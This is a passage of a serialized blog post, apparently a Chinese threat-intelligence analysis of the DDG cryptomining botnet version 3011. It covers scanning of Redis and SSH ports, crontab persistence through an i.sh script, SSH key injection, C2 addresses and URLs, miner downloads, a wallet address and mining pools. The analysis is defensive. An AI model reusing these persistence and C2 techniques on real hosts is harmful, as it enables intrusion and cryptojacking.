位；"]],[[0,[],0,"启用多个矿池，这应该被理解成为一种失效保护机制；"]],[[0,[],0,"样本的编写语言由旧的 Go1.9.2 换成了 Go1.10，并在代码结构、第三方库和自身功能方面进行较大改动；"]],[[0,[],0,"启用了云端配置文件，可以由云端配置文件指定要扫描的服务端口、矿机程序下载链接、本地样本更新数据等等；"]],[[0,[],0,"相同的持久驻留机制：将 "],[0,[0],1,"i.sh"],[0,[],0," 脚本写入到 Crontab 中定期更新、运行。"]]]],[1,"h3",[[0,[0],1,"7379 及相关端口上的扫描流量异常"]]],[1,"p",[[0,[],0,"近期，我们的 "],[0,[5],1,"ScanMon"],[0,[],0," 系统显示 Redis 服务相关端口的扫描流量骤增，如下："]]],[10,9],[1,"p",[[0,[],0,"上图中，与该扫描相关的关联端口共计 7 个，分别是 ："]]],[3,"ul",[[[0,[],0,"Redis 相关的三个：6379, 6380, 7379"]],[[0,[],0,"SSH 相关的三个：22, 2222, 22222"]],[[0,[],0,"HTTP 相关的一个：8000"]]]],[1,"p",[[0,[],0,"我们在本文后续的样本分析环节中可以发现，DDG 新版本 ddgs.3011 的扫描模式与上述 ScanMon 观察到的现象非常契合。这足以证明，DDG 最新版本的活动引起了本轮 7379 及相关端口上的扫描行为。"]]],[1,"h3",[[0,[0],1,"样本执行流程"]]],[1,"p",[[0,[],0,"我们捕获了这次事件相关的核心样本："]]],[10,10],[1,"p",[[0,[],0,"该样本的执行流程如下： "]]],[10,11],[1,"p",[[0,[],0,"新旧样本最明显的相似之处，是通过把 "],[0,[0],1,"i.sh"],[0,[],0," 脚本植入到 Linux 系统肉鸡的 Crontab 中来实现持久驻留。新 "],[0,[0],1,"i.sh"],[0,[],0," 脚本内容如下："]]],[10,12],[10,13],[1,"p",[[0,[],0,"ddgs.i686 还会在失陷主机本地的 "],[0,[1],1,"/var/spool/cron/crontabs/root"],[0,[],0," 或者 "],[0,[1],1,"/var/spool/cron/crontabs"],[0,[],0," 处写入定时任务脚本，从云端下载最新的 "],[0,[1],1,"i.sh"],[0,[],0," 脚本定时执行（ "],[0,[0],1,"%s"],[0,[],0," 处为最新的 "],[0,[1],1,"i.sh"],[0,[],0," 下载链接），实现持久驻留："]]],[10,14],[1,"p",[[0,[],0,"然后，ddgs.i686 会尝试在当前肉鸡的 "],[0,[1],1,"~/.ssh/authorized_keys"],[0,[],0," 中注入以下 SSH Pub Key："]]],[10,15],[1,"p",[[0,[],0,"ddgs.i686 样本中内置了一个 "],[0,[0],1,"ip:port"],[0,[],0," 的 List，其中 2 个主要的 "],[0,[1],1,"165.225.157.157:8000"],[0,[],0," 和 "],[0,[1],1,"165.227.149.151:8000"],[0,[],0," ，其他算是备用，全部列表如下："]]],[1,"p",[[0,[0,6],2,"iplist_v3011_1.txt"]]],[1,"p",[[0,[],0,"样本 ddgs.i686 启动之后，会依次连接上述 "],[0,[0],1,"ip:port"],[0,[],0," 检查是否可以访问： "]]],[10,16],[1,"p",[[0,[],0,"对每个成功握手的 "],[0,[0],1,"ip:port"],[0,[],0," ，ddgs.i686 都会尝试向 "],[0,[0,1],2,"hxxp://<C2:8000>/slave"],[0,[],0," 发送 HTTP POST 请求： "]]],[10,17],[1,"p",[[0,[],0,"如果 C2 正常工作，则会返回一串用 "],[0,[0,7],2,"msgPack"],[0,[],0," 序列化编码后的配置文件数据： "]]],[10,18],[1,"p",[[0,[],0,"由于这串数据自定义了复杂的数据结构，没能成功完美解码，经过 "],[0,[0],1,"msgPack"],[0,[],0," 通用反序列化再大概还原后如下："]]],[10,19],[1,"p",[[0,[],0,"结合配置文件和样本分析，可以发现以下几个关键点："]]],[3,"ol",[[[0,[],0,"配置文件中提供了 Miner 程序的 URI、MD5 和保存到当前肉鸡的文件路径。ddgs.i686 会根据 URI，通过 HTTP GET 请求从 "],[0,[1],1,"http://<C2:8000>/Miner_URI"],[0,[],0," 处下载 Miner 程序并另存到指定路径；"]],[[0,[],0,"配置文件中提供了最新的 "],[0,[0],1,"i.sh"],[0,[],0," 文件下载路径，ddgs.i686 会把这个路径填充到定时任务的命令字串中；"]],[[0,[],0,"配置文件中指定了要扫描的 dstport，可以看到针对 Redis 服务，指定 ddgs.i686 扫描 (6379, 6380, 7379) 三个端口，针对 SSH 服务，指定扫描 (22, 2222, 22222) 三个端口。（这里可以解释 ScanMon 上 7 个端口之间的伴生关系。但 Redis 服务相关的 3 个端口与 SSH 服务相关的 3 个端口之间 "],[0,[0],1,"Shared scip"],[0,[],0," 数量比较少，原因可能跟蜜罐部署以及蜜罐的网络配置有关）"]],[[0,[],0,"配置文件中的 "],[0,[0],1,"GenLan"],[0,[],0," / "],[0,[0],1,"GenAAA"],[0,[],0," 对应生成 Scan Target IP 的生成策略。样本中的 Scan Target IP 生成策略仍然同于旧版本的 ddg.miner：生成的内网网段 Target IP 范围如下：10.Y.x.x/16 (Y 为当前内网 IP B 段的值)172.16.x.x/16192.168.x.x/16当前主机的公网 IP 地址 "],[0,[0],1,"WAN_IP"],[0,[],0," ，然后在 "],[0,[1],1,"WAN_IP/8"],[0,[],0," 范围内生成公网网段 Target IP 。但是样本内有个扫描控制策略，从行为上看，针对内网 Target IP ，只扫描 SSH 服务相关的 3 个端口，我的虚拟机上运行结果只会扫 SSH 服务，看起来只有获取到了网卡的外网地址，才会针对外网的 Target IP 扫描 Redis 相关的端口。"]],[[0,[],0,"配置文件中给出了 ddgs 样本的更新配置：最新的版本号、本地另存的文件路径、C2 端下载的 URI 以及样本的 MD5，本地已有的 ddgs.i686 样本会根据这些信息对本地样本进行更新。"]]]],[1,"h3",[[0,[0],1,"挖矿"]]],[1,"p",[[0,[],0,"样本获取配置文件后，会根据配置文件中 Miner 的信息，去下载 "],[0,[0],1,"2t3ik.p"],[0,[],0," 和 "],[0,[0],1,"2t3ik.m"],[0,[],0," 到当前失陷主机的 "],[0,[0],1,"/tmp/"],[0,[],0," 目录。这两个文件是 XMRig 2.5.2 编译的矿机程序，具体区别不明，关键信息都一致："]]],[3,"ul",[[[0,[],0,"钱包地址（新出现）：42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik"]],[[0,[],0,"涉及的矿池：47.90.204.154hk02.supportxmr.compool.supportxmr.comxmr-asia1.nanopool.orgxmr-us-west1.nanopool.org其中 "],[0,[1],1,"47.90.204.154:443"],[0,[],0," 是矿池 Proxy，该主机位于 "],[0,[0],1,"阿里云"],[0,[],0," ;在矿池 "],[0,[1],1,"supportxmr.com"],[0,[],0," 中的 TotalPaid 为 "],[0,[0],1,"150.5194868540 XMR"],[0,[],0," ，按当前市价折合人民币 "],[0,[0],1,"181,311.3 ￥"],[0,[],0," ；在矿池 "],[0,[1],1,"nanopool.org"],[0,[],0," 中TotalPaid: "],[0,[0],1,"1268.5880545439 XMR"],[0,[],0," ，按当前市价折合人民币 "],[0,[0],1,"1527,519.6￥"],[0,[],0,"。"]]]],[1,"h3",[[0,[0],1,"3011 是一个测试或过渡版本"]]],[1,"p",[[0,[],0,"最后值得一提的是，ddgs.i686 是 32bit ELF 文件，而它下载到的 "],[0,[0],1,"2t3ik.p"],[0,[],0," 和 "],[0,[0],1,"2t3ik.m"],[0,[],0," 都是 64bit ELF 文件，这样一来，在真实环境中，矿机程序并没有办法运行。而且，版本 "],[0,[0],1,"3011"],[0,[],0," 只有"],[0,[1],1,"hxxp://165.225.157.157:8000/static/3011/ddgs.i686"],[0,[],0," 这一个核心样本，不像版本 "],[0,[0],1,"3010"],[0,[],0," ，同时存在 ddgs."],[0,[0],1,"i686"],[0,[],0," 和 ddgs."],[0,[0],1,"x86_64"],[0,[],0," 两个核心样本。所以，可以认为版本 "],[0,[0],1,"3011"],[0,[],0," 目前处于测试阶段，或者只是一个过渡版本。"]]],[1,"h2",[[0,[0],1,"IoC"]]],[1,"p",[[0,[],0,"Sample"]]],[10,20]],"ghostVersion":"3.0"}